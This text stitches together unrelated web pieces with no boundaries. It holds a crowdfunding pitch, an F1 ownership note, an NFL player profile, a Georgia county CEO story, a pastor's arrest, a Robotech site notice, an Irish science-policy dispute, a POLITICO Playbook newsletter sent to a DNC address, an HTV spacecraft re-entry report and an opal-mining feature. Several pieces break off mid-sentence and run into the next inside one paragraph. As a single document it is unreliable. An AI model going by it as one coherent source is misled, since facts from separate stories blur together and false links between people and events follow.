Our trial manufacturing run (planned for early January) will enable us to further improve the manufacturing and integration process, and also provide us with the “almost final” prototypes that we can give to our testers for their feedback.
At the end of January, we plan to provide the go-ahead for first-lot volume manufacturing. This is where your help becomes critical! We would need to get AT LEAST 500 pairs manufactured and shipped for distribution, and we need a minimum of $25,000 to be able to accomplish that.
Stretch Goals
While our minimum requirement to get Stridalyzer, in its current form, to you is $25,000, we have a lot of plans and hopes for Stridalyzer. In addition, many of our testers, trainers and coaches have requested for certain features, which would be awesome to add, if we can afford to implement them. So, we are putting the top few as |
who are also known as the owners of Ferrari. The firm can be traced back to the 1920s but became Exor in 2008 when two Agnelli companies IFI and IFIL were merged. Giovanni Agnelli & C. owns 59 percent of the company’s stock, while other investors includethe Mackenzie Cundill Group and Bestinver. The remainder of the shares are traded on the Italian stock market. The company owns a 30 percent stake in Fiat, plus 60 percent of Juventus and various other companies.
Exor is headed by John Elkann, chairman and chief executive of Fiat.
The word is that there will be other members of the consortium as momentum builds. The aim is to buy out CVC Capital Partners and, one assumes, set up a new structure to take the sport into the future. It remains to be seen what will happen with Bernie Ecclestone, who remains a shareholder in the business. For all of those who struggle to understand who owns what in F1, I am also posting a chart of the companies involved.Caushaud Lyons grew up in Georgia and played his high school football for the Woodland high school Wolfpack. He went to Tusculum college, in the South Atlantic Conference. There he set a school record for career tackles and tackles for loss by a lineman, and the third most sacks by a lineman. As a Senior for Tusculum College in 2014, Lyons was a Division II All American. He was a finalist for the Gene Upshaw award, given to the best Division II lineman in the nation. He recorded 89 tackles, 19 for a loss, and 8.5 sacks.
At his pro day, Lyons amazed scouts with a 4.87 second 40-yard dash, a 30.5″ vertical jump, and a ten-foot broad jump at 295 lbs. He also recorded a 325 lb clean, a 475 lb bench press, and a 600 lb squat. Lyons was a freakish athlete more than a polished football player, however. According to Lance Lance Zierlein of NFL.com Lyons was “lacking in many of the basics needed at the position and a team will have to have a plan for him that involves teaching and a great deal of patience.” Lyons’ journey through the NFL has not involved patience.
Caushaud Lyons Professional Career
Lyons went undrafted in 2015 and signed a contract with the Tampa Bay Buccaneers. He was unable to secure a roster spot in Tampa. They tried to stash him on the practice squad, but he was claimed on waivers by the Pittsburgh Steelers. He found his way to the Steelers practice squad on October 2, 2015. The following year he failed to make the 53 man roster and ended up on their practice squad again. In January of 2017, Caushaud Lyons signed a futures contract with the Titans but was waived on June 13. He was signed 15 days later by the Rams but waived by that team yesterday.
The treatment of Caushaud Lyons thus far seems to have been a violation of a cardinal scouting rule. Do not talk about the scheme a player fits when discussing a prospect, talk about their traits. Lyons is a very fast, very explosive, very powerful athlete. He has been asked to play a two gap, five technique role every team since Tampa Bay. Those two pieces of information do not typically go together, at least not often. exceptions like J.J. Watt do exist. Many coaches will look at his height and weight, and make assumptions about scheme fits ignoring what the player can actually do.
http://gty.im/831119740
Why The Detroit Lions Picked Him Up
Caushaud Lyons will almost certainly not make the Detroit Lions 53 man roster. He is getting an audition, although an abbreviated one, for another season on the practice squad. Where he athletically fits in to the Lions defensive scheme is as a left defensive end. If he is going to be an NFL player it will be on the edge. The Lions are currently thin t defensive end. So much so that the players they had likely thought to stash on the practice squad, Jeremy Voalaga and Alex Barrett, are looking like candidates for the 53 man roster.
Alternatively, he very well may be this year’s Kerry Hyder or George Johnson. Those players had accomplished as little as Lyons has before the Lions coaching staff got a hold of them. The final preseason game just got a little more interesting, That is likely the first and possibly only chance Lions fans will have to see Lyons in action.Interim DeKalb CEO Lee May, who has overseen the county government for a tumultuous 2½ years, announced Friday he won’t run for election and will leave office when the current term expires at the end of the year.
May said his decision wasn’t influenced by a corruption report that called for him to resign, but he acknowledged that the job has been difficult.
“It was a trying time. No one wants to see your name plastered in the paper,” May said in an interview with The Atlanta Journal-Constitution. “Ultimately the decision I’m making is one that my wife and I have made, and we’re not feeling pressure from anyone.”
May, 40, said he will leave politics and pursue a career in ministry. He holds a Master of Divinity degree from Emory University.
May became DeKalb’s chief executive when Gov. Nathan Deal appointed him in July 2013 to replace CEO Burrell Ellis, who was elected to a four-year term in 2012. Deal had suspended Ellis after he was indicted, and a jury last year convicted Ellis of perjury and attempted extortion.
In an attempt to root out corruption, May ordered an outside investigation of the county by former Georgia Attorney General Mike Bowers and Richard Hyde.
Their Sept. 30 report accused May of obstructing their investigation, improperly borrowing money from a subordinate and failing to provide leadership.
The GBI said last month it won’t launch further investigations based on the report because its allegations didn’t amount to crimes.
“That served as a level of vindication for me,” May said Friday. “It was an unfortunate situation of how that progressed. Remember, I called for the special investigation, and unfortunately the individuals that were investigating us took a different tack, but that had no influence on my decision.”
May said he’ll support former DeKalb schools Superintendent Michael Thurmond if he decides to run for DeKalb CEO. Two others have announced their candidacies: former DeKalb Commissioner Connie Stokes and retired MARTA employee Calvin Sims.
Candidates will qualify to run in March, and the primary election is May 24.
Please read more on MyAJC.com.A local pastor has been arrested, accused of stealing money parishioners offered during prayer services. Checkey Beckford reports. (Published Wednesday, Dec. 30, 2015)
A New York City church pastor has been arrested on suspicion of stealing money from the parish after surveillance video captured him allegedly pocketing the church's offerings -- but he's still leading services at the church.
Pastor Daniel Iampaglia was arrested at the Rock Church on East 62nd Street on Nov. 24 on a charge of petit larceny, according to police. He was issued a desk appearance ticket and released the same day, scheduled to return Jan. 5.
But in the meantime, he's continuing to hold services, and parishioners are not happy.
Church board members became suspicious after Iampaglia was hospitalized for three weeks, and during his absence, donations during their regular Sunday and Tuesday collections tripled.
They set up a camera, and video from it, obtained exclusively by NBC 4 New York, captured Iampaglia repeatedly going into the church office and pocketing cash from the offerings envelope, board members say.
"He would go in repeatedly," said Sue Cruz, one of the board members. "I think there was one day he went in three times."
When board members confronted the pastor one Sunday after church in November, "the ironic thing is, he called the police to have the board expelled from the church for harassment," according to board member Joseph McGee.
But after seeing the videos, cops arrested Iampaglia instead, for allegedly stealing $238.
Still, Iampaglia is working at the church.
"Right after he was arrested, the following Sunday I thought he'd be too ashamed to come downstairs and preach. He preached," said Cruz.
The board can't fire him because it's currently embroiled a civil lawsuit filed two years ago to have the pastor removed. They said he violated bylaws and misused funds in that case, but a judge has prohibited the board from firing Impaglia while the lawsuit is pending.
Impaglia hung up when NBC 4 New York reached him by phone. His lawyer later sent a statement to NBC 4, saying Iampaglia is "well-respected" and that "he has the support of his congregation."
"He adamantly denies any allegations of wrongdoing and looks forward to his day in Court," said attorney Joseph Indusi."These false allegations against the Pastor are a baseless attempt to gain control and improperly manipulate the Church's leadership. We are confident we will prevail in Court."
Church members said they believe in forgiveness but want Impaglia removed immediately.
"This is a church, we worship the Lord," said Cruz. "How can you have a thief as a pastor?"If you’ve been here before, you may notice the new look. If this is your first time, you are probably looking for all the content you were promised. No doubt most visitors will be those who recently got their copy of the Protoculture Con 2015 Program Guide. That guide was 20 pages of Convention info, and 60 pages of Zor’s Journal. Much of the art, fiction, comics, etc. in the book told you that more would be available here. Well, we are in the middle of uploading all that content, and while we are at it, we are giving the site a face lift. Our goal is to have all that great Robotech content available here, and more, by Saturday, 17 October. Maybe we will have it up before then, but we promise to get it posted no later than then, so keep checking back.
Things you can expect to find here:
Previous versions of Zor’s Journal with different Art, Fiction and More.
Continuations of the stories from the current edition.
More of the Live Action Graphic Novel, including the prototype with motion and sound!
Even more art! Stuff which we weren’t able to put in the book due to space limitations (and budget).The head of Science Foundation Ireland Mark Ferguson (left) pictured with Minister of State Seán Sherlock and Dr James Kennedy from Athlone IT
The head of Science Foundation Ireland Mark Ferguson (left) pictured with Minister of State Seán Sherlock and Dr James Kennedy from Athlone IT
A NUMBER OF scientists have warned that a conflict of interest may arise over plans for the Government’s science funding agency to take on the additional role of the previously independent Chief Scientific Adviser.
The announcement that Professor Mark Ferguson will perform the job of Chief Scientific Adviser (CSA) in addition to his role as director general of Science Foundation Ireland (SFI) was made by Minister for Jobs and Innovation, Richard Bruton, on Friday.
The role of the CSA is to provide the Government with independent expert advice on issues relating to public science policy.
Professor James McInerney of NUI Maynooth told TheJournal.ie: “We are now in a situation where a person holding the purse strings to science is giving the Government advice on how it is funded”.
Speaking from Harvard School of Public Health where he is a visiting professor, Professor McInerney said he believed that keeping the roles separate would make more sense.
“Now we have the implementation of policy and the advice of policy invested in one individual,” he said. “It certainly demotes the position of CSA when you no longer have someone who is dedicated to it full time”.
“There is a clear conflict of interest”, said Dr Stephen Sullivan, chief scientific officer with the Irish Stem Cell Foundation. “You can’t have a public servant responsible for implementing science policy and assessing the same policy in terms of value for money for the taxpayers”. He added that taxpayers and scientists should be concerned with this new science management structure.
Dr Graham Love, Policy and Communications Director of Science Foundation Ireland said he was aware that there could be a “conflict of interest” but said SFI would “have to be sensible in how we chose to operate in [that] case”. He added that he did not think a conflict of interest would arise if the job of the Chief Scientific Advisor maintains the same function as the previous occupant.
Professor Stefano Sanvito of Trinity College said that he believes the most likely outcome of the announcement by Richard Bruton is that Ireland will no longer have a Chief Scientific Adviser.
He suggested that if the government is seeking to save money in the area it was possible by giving responsibility to the area to another body.
“If you want to save money, remove the CSA but give the advisory role to the Royal Irish Academy,” he told TheJournal.ie. This is the system in place in the United States where the National Academies were set up with a statutory duty to advise the Government on scientific matters.
President of the Royal Irish Academy Professor Luke Drury said the RIA would be “delighted” to fulfil the advisory role but would need more resources.POLITICO Playbook, presented by JPMorgan Chase & Co.: 84 days to Cleveland, 91 days to Philly, 197 days to election – ROGER STONE on Donald Trump: ‘He’s not going to read a 40-page white paper on the economy’ – POLITICO Europe spread in N.Y. Times: ‘Everyone reads it’
From:politicoplaybook@politico.com To: kaplanj@dnc.org Date: 2016-04-25 09:05 Subject: POLITICO Playbook, presented by JPMorgan Chase & Co.: 84 days to Cleveland, 91 days to Philly, 197 days to election – ROGER STONE on Donald Trump: ‘He’s not going to read a 40-page white paper on the economy’ – POLITICO Europe spread in N.Y. Times: ‘Everyone reads it’
04/25/2016 07:01 AM EDT By Mike Allen (@mikeallen; mallen@politico.com) and Daniel Lippman (@dlippman; dlippman@politico.com) Good Monday morning. PLAYBOOK CRYSTAL BALL: Behind the scenes, most top Republicans - in Congress, on K Street and beyond - assume a President Hillary Clinton. One veteran of GOP administrations gave us his forecast for QUICK WINS Clinton could achieve under divided government (a Democratic White House and a Republican House, plus a 50-50, Democratic or GOP Senate): "There will be a big push for infrastructure spending and it will succeed, and it's going to be way beyond the normal road-building -- deep into ports, deep into airports, just a massive national effort to build, rebuild, refurbish infrastructure. "You bring all the unions in there with you, every state and local government official. Even the Republicans are with you: It's very hard for Republicans to vote against fixing THEIR bridges, roads, airports, ports. And then, because the environmentalists will resist that mightily and lose, then she'll have to give the environmentalists something. So there will be a big environmental agenda, half of which won't go anywhere. "I think between that battle and the Supreme Court -- I think she'll get Garland [if she renominates him], but it's going to be a tough fight - that's the first session of Congress.... [S]he's got some other legislative work that would be big for the tech industry: deal with intellectual property issues, deal with H-1B visa issues,... but not deal with [comprehensive] immigration reform, not deal with tax reform -- deal with PIECES of things. What you can accomplish in divided government is more tactical." FIRST LOOK: Hillary's closing ad for tomorrow's Acela primary (Pennsylvania, Maryland, Connecticut, Delaware, Rhode Island): "Grammy Award-nominated singer Andra Day provided vocals for the ad and wrote the lyrics to the featured music. Day previously performed at an event in March in support of Hillary Clinton at Radio City Music Hall with Elton John and Katy Perry." The 60-second ad, "Love and Kindness," begins today in Philly, Pittsburgh, Baltimore and Hartford markets. YouTube http://go.politicoemail.com/?qs=c11088aa5d8cac4734191bbf74434a545781f88bff725928037011212a79909d 2017 MOOD -- WSJ A1, bottom of page, "Campaign's Populist Tone Rankles America's CEOs," by Nick Timiraos and Ted Mann: "[E]xecutives worry that for now, the rhetoric of the election discussion could weigh on consumer confidence, thwart any immigration overhaul and derail a sweeping 12-nation trade pact, the Trans-Pacific Partnership, that the U.S. struck last year and that many businesses support.... Rhetoric from Republican candidates has grown more populist and less friendly to big business than at any time in decades.... "Clinton might appear to be the most business friendly option given her résumé, her close relations to some corporate donors and her message of delivering pragmatic results. But Mr. Sanders has pulled her away from centrist positions on financial regulation and trade.... 'The center has collapsed,' said one technology CEO. 'Sanders and Trump will go away, but their supporters won't.'" http://go.politicoemail.com/?qs=c11088aa5d8cac47a3950783f03955e401d308b3c8c1b5835b851c0939a51c9f YOU'RE INVITED! Kick off White House Correspondents' Weekend at lunchtime this FRIDAY with "Funny or Die"! At our annual Celebrity Edition of Playbook Lunch, I'll talk with Billy Eichner, star of "Billy on the Street" and Hulu's "Difficult People," plus Mike Farah, Funny or Die's president of production and "ambassador of lifestyle." We'll talk about the intersection of comedy and politics, and explore President Obama's unique use of nontraditional media to reach new audiences. Doors open 11:30 a.m. Friday at The Newseum, 555 Pennsylvania Avenue NW. Program begins at noon. #PlaybookLunch RSVP: http://go.politicoemail.com/?qs=c11088aa5d8cac476408245fbbe321ce774a3fb8c78d7e3da9d8d65eb500372e BREAKING - off embargo at 6 a.m. - "Attorney General Loretta "Lynch to Announce New CRIMINAL JUSTICE REFORM ACTIONS/Call on State Governors to Remove ID Barriers for Formerly Incarcerated Individuals... As part of National Reentry Week, Attorney General Lynch today in Philadelphia [will announce] 'Roadmap to Reentry,' the [Justice] Department's latest comprehensive vision to reduce recidivism through reentry reforms at the Federal Bureau of Prisons... Leadership from across the Administration are traveling and making policy announcement in support of National Reentry Week... National Reentry Week events are being planned in all 50 states." http://go.politicoemail.com/?qs=c11088aa5d8cac47126513743e30f20c8bb7f1cc524f4e58d63655d03331486c... Infographic http://go.politicoemail.com/?qs=c11088aa5d8cac473ba0aeb724a263874d5e4954c42966ff7caa8cb65264e68b ROGER STONE, on-again Trump adviser, takes us behind the scenes of Trumpworld, in a conversation with Glenn Thrush for his "Off Message" podcast, "Donald Trump's Donald Trump: Roger Stone, the coiffed kamikaze of Republican politics, is back. And he has one last dirty trick to play." Stone: "[Trump] envisioned a campaign which was all communications... But the notion that you could combat - let's take Florida - $40 million worth of negative television simply by going on 'Fox and Friends' and responding, I rejected that idea... He's going to have to better articulate himself on issues that are of concern to women... "Without telling tales out of school, because I have a non-disclosure... I envisioned a campaign that used the more traditional tools of polling and analytics and targeting and paid media, and a greater depth of organization... Nobody puts words in Donald's mouth. He is his own conceptualizer. All you can do is present information and let him either assimilate it or not. "When you write something for him, keep it short and staccato. He's not going to read a 40-page white paper on the economy; zero chance of that... Reagan was a big-picture guy. Trump is a big-picture guy.... I think that obviously he has some challenges going into the general election. But I think they're all soluble." http://go.politicoemail.com/?qs=c11088aa5d8cac475b221b4a84da574ed815f1112d8c7dff471d0b6b46d60a6f... Transcript http://go.politicoemail.com/?qs=c11088aa5d8cac4763411fe3769d2061b8b2080782ef1fb71fb4002342a1aa5f... "Off Message" in iTunes http://go.politicoemail.com/?qs=c11088aa5d8cac47807223f52787b1ab3d27b2cfc1d8d6e145462c64a7b42494 --JEFFREY TOOBIN in The New Yorker, "Bad Old Days" in the "Dept. of Fixers" in The Talk of the Town: "There's a wistfulness about Stone these days.... [At the bar at the Four Seasons Hotel in New York] Stone instructed a waiter to bring him a 'Ketel One Martini up, with a couple of olives, very dry.' (His favorite Martini recipe came from Richard Nixon, who got it from Winston Churchill.)" http://go.politicoemail.com/?qs=c11088aa5d8cac475c96badf28517bb7bfd797d4f12e7707d0566a3da4efd8c3 ** A message from JPMorgan Chase & Co.: It's no secret that thriving small businesses invigorate communities. The recipe for small business success is access to capital, technical skills and networks. Learn how we're working to give them the connections they need. http://go.politicoemail.com/?qs=c11088aa5d8cac474f0d9fcecb9929bd3c23b4c0e1ca1160041a53614420ce1e ** NICK MERRILL interviewed on The Gaggle, the new podcast by David Helfenbein www.thegagglepodcast.com TV TONIGHT: MSNBC hosts back-to-back town halls with Bernie Sanders and Hillary Clinton in Philadelphia on the eve of the Pennsylvania primary. Chris Hayes moderates an hour-long town hall with Sanders at 8 p.m., and Rachel Maddow moderates an hour-long town hall with Clinton at 9 p.m. DEBUT OF 1237, "POLITICO's deep-in-the-weeds blog on the real Republican primary: the shadow war for delegates," anchored by POLITICO's chief delegate wrangler Kyle Cheney and senior politics reporters Shane Goldmacher and Alex Isenstadt -- senior politics editor Charlie Mahtesian writes the debut post: "Trump is right: The GOP nominating process is rigged. Only it's not crooked in the way that Trump claims.... [T]here are incentives for campaigns to focus on grassroots organization, since organizing is the lifeblood of any political party. But there are also trap doors... put in place to ensure that no one... can be bigger than the party." http://go.politicoemail.com/?qs=c11088aa5d8cac47f57fe09ae040ddb7b74a37a2708c3c0c214805739d8f7ba9 WILY ALLIANCE -- "Cruz and Kasich team up to stop Trump," by Katie Glueck and Kyle Cheney: "Cruz and John Kasich have begun coordinating... to stop Donald Trump, an abrupt alliance announced [in back-to-back statements] Sunday night that includes Kasich quitting his efforts in Indiana and Cruz clearing a path for the Ohio governor in Oregon and New Mexico.... "Trump fired back... on Twitter, writing, 'Wow, just announced that Lyin' Ted and Kasich are going to collude in order to keep me from getting the Republican nomination. DESPERATION!... Lyin' Ted and Kasich are mathematically dead and totally desperate. Their donors & special interest groups are not happy with them. Sad!'" http://go.politicoemail.com/?qs=c11088aa5d8cac47e954a1d1fe53189bbbb925d7fdccde7d05e7141a8d98016a 2016 PLAYERS -- "Cruz campaign manager flashes 'Cruz 2016' sign on ESPN," by Shane Goldmacher: "Cruz's campaign manager Jeff Roe took the pursuit of earned media to a new level on Sunday night, sitting right behind home plate for ESPN's nationally broadcast Houston Astros game while holding a 'Cruz 2016' sign.... Roe is an avid baseball fan and a former aspiring umpire and appeared to be seated next to senior Cruz adviser David Polyansky, who also held the Cruz sign at different moments." http://go.politicoemail.com/?qs=c11088aa5d8cac47bf2c3e967f8a1a93a152bade96141d6e4d658833961cc456... Video http://go.politicoemail.com/?qs=c11088aa5d8cac47c203856c8a972b40497f744d53a2ce3882faa84ca57a853b FOX PRIMARY -- "Hannity's Choice... Sean Hannity at center of bitter campaign competition," by AP Television Writer David Bauder: "Hannity's relationship with Trump became an issue when the liberal website Thinkprogress.org published a story that wondered how Hannity had been able to interview Trump so much without making news... Trump [has] been a guest on Hannity's Fox show 32 times... Hannity has said... he does not support one Republican over another.... Cruz had appeared... 34 times since Cruz announced... Kasich... and... Rand Paul... had been on the show 20 times, with... Rubio... making 19 appearances. "On [Hannity's] radio show,... Cruz had logged more interview time than any other candidate - more than 188 minutes on the air. Trump's 112 minutes were third behind Rubio." http://go.politicoemail.com/?qs=c11088aa5d8cac47cf7ba054e2f478a36f6d3cdac29dd6317959badb1aef60b9 FUTURE OF NEWS - POLITICO architect "[Robert] Allbritton '92 Talks Future of Journalism Pt. 2," by Aaron Stagoff-Belfort in Wesleyan University's student paper, the Argus: "[Q:] 'Because of all the technological and economic changes we talked about, many students today at a school like Wesleyan view journalism as a very difficult career path to make a living in. Do you agree? Do you have any advice for young people who want to pursue journalism?" RA: "It's totally possible to do... The thing that I think a lot of journalists have a problem with today is that it is becoming rapidly apparent that all journalists are not created equal.... There are people out there who can get scoops, who can seriously drive readership... "We are trying to expand what we can do, and the number of positions we have, in this industry. We are trying to do it in a sustainable model. But we are one shop, one publication.... Over time, you've got a lot more entry level positions, but it's harder to move up the food chain. Whereas before, it was just a rite of passage: you stay long enough, you get the raise, and move on.'" http://go.politicoemail.com/?qs=c11088aa5d8cac47e3c04a20c7032618f7fd4bfd1bba147b36cb17a17a018eac... Part 1 http://go.politicoemail.com/?qs=c11088aa5d8cac476e06e3c6c78f9b01f23f9c2e0114b864c36c58a74aa873d9 --N.Y. Times Business Day cover, "Politico Pierces the 'Brussels Bubble' With U.S.-Style Coverage," by Nicola Clark: "The offices of Politico Europe, the Brussels outpost of the American political news organization, are less than a five-minute walk from the Maelbeek subway station where a suicide bomber killed more than a dozen people in the terrorist attacks here last month.... [T]o Matthew Kaminski, Politico Europe's executive editor, it was an event that lent itself naturally to Politico's brand of swift, flood-the-zone news coverage. 'We have the biggest newsroom in this town,' Mr. Kaminski said of the more than 40 journalists now under his command, 'and this was a hit on our community.'... "The Brussels attacks punctuated what had already been an unusually newsy first year for Politico's European venture, which was started last April in partnership with the German publishing group Axel Springer.... Politico Europe claims an audience of one million to 1.5 million unique monthly visitors to its free website, 30,000 readers of its weekly print newspaper and about 200 institutional subscribers to its Pro products, whose potential user base numbers in the 'tens of thousands,' [managing director Shéhérazade] Semsar-de Boisséson said." http://go.politicoemail.com/?qs=c11088aa5d8cac476bae4de8b7f6926df3eaf752fb582a12f566284575b42140 METRO'S DESIGN FLAWS - WashPost p. A1, top of cols. 1-5, "Metro at 40: A mess of its own making," by Robert McCartney and Paul Duggan: "It's a story about a modern-era subterranean rail network constructed in a fast-paced, congested metropolitan area. Boston's and New York's systems, by contrast, were born in less-crowded regions more than a century ago. Metro was built with two tracks, not four as in New York - and with few pocket tracks, where trains can be parked out of the way - to hold down costs and minimize public disruption during the work. Now there is too little room in the narrow tunnels for maintenance and repair crews and hundreds of thousands of commuters together.... "It's also a story about the agency's early faith in automation - that computers would negate human error - which seemed to stunt the development of a safety culture, resulting in disasters.... Many employees fear being disciplined or branded as malcontents if they point out flaws.... And it's a story about money, about elected leaders unwilling to seek a special tax to pay for Metro, afraid of a voter backlash." http://go.politicoemail.com/?qs=c11088aa5d8cac47577035d89a75529d5dd005eaee9658eedd538f902bcb64fa AFTER-BERN-- N.Y. Times p. A1, below fold, "Sanders Seeks To Shape Party After Primary," by Nick Confessore: "Aides to Mr. Sanders have been pressing party officials for a significant role in drafting the platform... aiming to lock in strong planks on issues like a $15-an-hour federal minimum wage, breaking up Wall Street banks and banning natural gas 'fracking.'... Clinton is well positioned to block any proposals she would not want to defend in a general election. "In January, [DNC Chair] Debbie Wasserman Schultz... appointed dozens of Clinton supporters and advisers to the three standing committees of the Democratic Party convention. Of 45 potential members submitted by Mr. Sanders, she appointed just three, according to Mr. Sanders's campaign." http://go.politicoemail.com/?qs=c11088aa5d8cac47f986d11f8f49177e09f178dd5734da52ad49a2f82a1ebdff --ADAM NAGOURNEY, leading NYT Sunday Review, "Can Clinton Feel The Bern? History shows that restoring party unity is tough but crucial to success in November": "She could offer Mr. Sanders a prime-time speaking spot at the convention. She could pick a vice president who shares the concerns that have animated Mr. Sanders's crowds.... If Mr. Sanders ends up with a campaign debt, Mrs. Clinton can also promise to help pay it off, as President Obama did for her back in 2008." http://go.politicoemail.com/?qs=c11088aa5d8cac47e7919b9bb574647c83245065bd9cf8fe06fcb598dde1e334 FOURTH QUARTER -- "Obama's latest pivot - to Europe: After focusing on Asia and the Middle East, the president turns his attention to another continent in crisis," by Michael Crowley in London: "Europe is in crisis, many U.S. officials believe, and when Obama delivers a speech in Hanover, Germany, [today], aides say he will be addressing the whole continent as it grapples with terrorism, nationalism, refugees and questions about the European Union's survival. It also marks a turnabout in Obama's own thinking - amid grumbling by many European diplomats that the president hasn't given the continent the attention it needs. Even some Obama aides acknowledge that Europe has sometimes been overshadowed by Obama's other foreign priorities, like the Iran nuclear deal and relations with China." http://go.politicoemail.com/?qs=c11088aa5d8cac476a6dc1f77d6dc5fdaf39a46083ad0d40af3f2236b3faffc3 VIDEO DU JOUR - Norah O'Donnell's "Dialing for Dollars" segment for "60 Minutes" last night on congressmen raising money which included hidden camera footage from inside a Republican call center http://go.politicoemail.com/?qs=c11088aa5d8cac47d001e6c83d0147446f080fde5a7253f6b6c7cfd9b3965d02 SPEAKER RYAN -- His office is releasing a new 38-second video called "Problems We Can Fix" this morning in advance of his Georgetown town hall with millennials this Wednesday. At the town hall, Ryan will address how to build a "confident America" for college students. http://go.politicoemail.com/?qs=c11088aa5d8cac475bf6943c85e8e37dacad51a0887bfa211bae8beee4b6896f LATE-NIGHT BEST - JOHN OLIVER's latest barn burner, "Puerto Rico is suffering a massive debt crisis. Lin-Manuel Miranda joins John Oliver to call for relief." Video http://go.politicoemail.com/?qs=c11088aa5d8cac47ee19f1c54e27d1e9e6d7308956b3422dc582e5b0414f5d3f SPOTTED: Dr. Jill Biden sported a Danny Briere Flyers jersey at the Wells Fargo Center to watch the Flyers CLICKER -- Bloomberg has "a new interactive graphic [called] 'Donald Trump Will See You in Court,' an analysis of 203 notable cases involving Trump since 2000, showing who he sues, who sues him, and refuting Trump's assertions that he rarely gets sued because he doesn't settle. The Bloomberg graphic shows that Trump and his businesses have been sued, or have filed suits against others, at least a whopping 1,300 times since 2000. 203 of those cases are notable and substantial.... Trump and his companies were the defendant in 70% of the cases... Trump and his companies have been sued in federal court 72 times... at least 35% of the cases have been settled... Trump has lost in court 19 times." http://go.politicoemail.com/?qs=c11088aa5d8cac47e293bc67233aba21699ba6efc04a0699470da84722574b3f PIC DU JOUR -- @jonkarl: "And this is the bathroom in Charles Koch's personal office at Koch Industries hdqs in Wichita." http://go.politicoemail.com/?qs=c11088aa5d8cac47ab2ae0d78bb89ed7b6b9b82982cf4bbb1a493fba12b59387 PLAYBOOK METRO SECTION - "Md. congressional primary features largest self-funder ever," by AP's Brian Witte in Chevy Chase: "A Maryland congressional primary contender has broken the record for what a self-funded House candidate has poured into a single campaign, as wine superstore owner David Trone has uncorked more than $12 million of his own amid a crowded Democratic field. The race is the most expensive House primary in the country this election cycle... Trone faces several prominent rivals, including Kathleen Matthews... State Sen. Jamie Raskin, an energetic, liberal constitutional law professor with a successful resume in the General Assembly, and two former aides from President Barack Obama's administration, William Jawando and former Deputy Secretary of State Joel Rubin." http://go.politicoemail.com/?qs=c11088aa5d8cac478fd19e9793a5016a226659532ebd7df89dc1e3dd791b401d WASHINGTON, INC. - "Today, SKDKnickerbocker launched its Women's Leadership and Advocacy Practice, offering offer clients strategic communications, research insights, partnerships, and other community-building support that is essential to success in a crowded, dynamic media and policy environment.... In addition, the firm has launched 'Books & Breakfast,' an event series with women authors, including Jay Newton-Small ('Broad Influence') and Nancy L. Cohen ('Breakthrough'). Tomorrow, the firm will host EMILY's List Founder Ellen Malcolm (When Women Win). The firm will publish a bi-monthly |
. EST) as the spacecraft flew near the southern half of Japan. Although Japanese officials expected the bulk of the freighter to burn up during re-entry, some chunks of the spacecraft could have hit the Pacific Ocean. The ship's propellant tanks were most likely to have survived. "Most of the vehicle components are expected to be destroyed and burned out encountering the aerodynamic heating during the re-entry, but some of the debris is estimated to survive and fall into the South Pacific Ocean," JAXA said in a written statement. Debris from the HTV would have likely fallen in a rectangular box stretching across the Pacific Ocean between New Zealand and South America, according to JAXA. The HTV mission's ending Sunday closed out a 52-day inaugural mission that began in the wee hours of the morning Sept. 11, Japanese time, at the picturesque spaceport on Tanegashima Island off the southern coast of Japan. Launching on an H-2B rocket specifically built for the logistics ship, the HTV spent a week undergoing orbital trials before it was cleared to approach the space station. The craft closed within 30 feet of the complex Sept. 17, close enough for astronaut Nicole Stott to grapple the free-flying HTV using the station's robot arm. The arm berthed the ship to the Earth-facing port of the outpost's Harmony module, where it stayed for 43 days.
File photo of the HTV's arrival at the space station. Credit: NASA
The product of more than $1.1 billion in rocket and spacecraft development, the first HTV brought about 7,500 pounds of supplies and experiments to the space station. Comprising about 2,000 pounds of that mass were two Earth science experiments mounted on an exposed platform on the HTV. Both payloads were attached to the outdoor science deck of the Kibo laboratory module. The NASA HREP instrument carries two experiments to study the oceans and atmosphere. HREP's ocean sensor will focus on coastal features, and the atmospheric ultraviolet and visible instrument will look at the ionosphere and thermosphere. JAXA's SMILES experiment will detect trace gases in the ozone layer using a submillimeter sounder. The 1,047-pound instrument will help determine the extent of human activity's affects on ozone. About 5,475 pounds of supplies were hauled to the station inside the HTV's pressurized section. This cargo included food, computers, experiments, crew provisions and other maintenance equipment. After unloading the supplies, the station residents packed the ship with trash to free up storage space on the complex. The HTV was filled with 1,600 pounds of garbage when it left the station Friday. Six more HTV flights are on the books, flying at a pace of about one per year through about 2016. The next Japanese cargo mission is slated for the end of next year. HTV missions will be a key part of the resupply strategy for the space station after the space shuttle's retirement next year. After the shuttle is removed from service, the HTV will be the only spacecraft capable of delivering large external hardware to the complex, such as science experiments and spare parts called Orbital Replacement Units, or ORUs. The last few shuttle flights are filled with ORUs to stock the station with replacement equipment. Europe's Automated Transfer Vehicle, which first flew last year, can't carry unpressurized equipment. The venerable Russian Progress logistics freighter is also restricted to pressurized cargo. New spacecraft being developed by SpaceX and Orbital Sciences Corp. could accommodate larger payloads for the station's exterior, but both ships may not be operational until 2011.Lightning Ridge opal industry pushed to the brink
Updated
Sorry, this video has expired Video: Black Opal town of Lightning Ridge faces uncertain future (7pm TV News NSW)
"It's hard to explain the feeling," opal miner Chris Cheal says.
"It's one of the best natural highs you can get when you come across a pocket of opal. It's better than winning lotto, because it's like you've earned it because you've worked for it."
Mr Cheal, 42, has been mining for opals for two decades. He moved to Lightning Ridge in north-west New South Wales as a shearer but soon was struck by "opal fever".
It's one of the best natural highs you can get when you come across a pocket of opal. It's better than winning lotto. Opal miner Chris Cheal
"I think everyone in Australia has got the right to come here and peg a claim and have a go," he says.
"That's what Australia's about, it's about having a fair go and the little bloke should be entitled to that. I'm very passionate about it and I love Lightning Ridge and I love doing what I'm doing."
But Mr Cheal says miners like him are a dying breed, and that's putting the future of "The Ridge" in doubt.
He has taken me and a cameraman six metres underground on the outskirts of Lightning Ridge to show us one of his two mines.
Gone are the pick and shovel; in its place is a super digger, a piece of heavy equipment he built himself.
Mr Cheal says increased expenses of running machinery like this, along with a decreased opal price, have pushed the industry to the brink. He has already taken up a job at a coal mine almost 300 kilometres away to ensure a steady cash flow.
"I guess I'm really fortunate that I've got a good job," he says.
"It's great to know that you are going to make some money every week, because here mining for yourself, you can go months, you can go years without getting paid.
"All the while the costs are coming out of your pocket when you've got some hungry mouths to feed."
He blames the NSW Government for increasing registration prices and says the Department of Trade and Investment has created too much red tape.
It just seems to me they're pulling the rug out from under us, which is a shame because this is one of the few places left in the world that you can go peg a claim. Opal miner Chris Cheal
The cost to register a mineral claim here has also blown out from $435 last year to $1230.
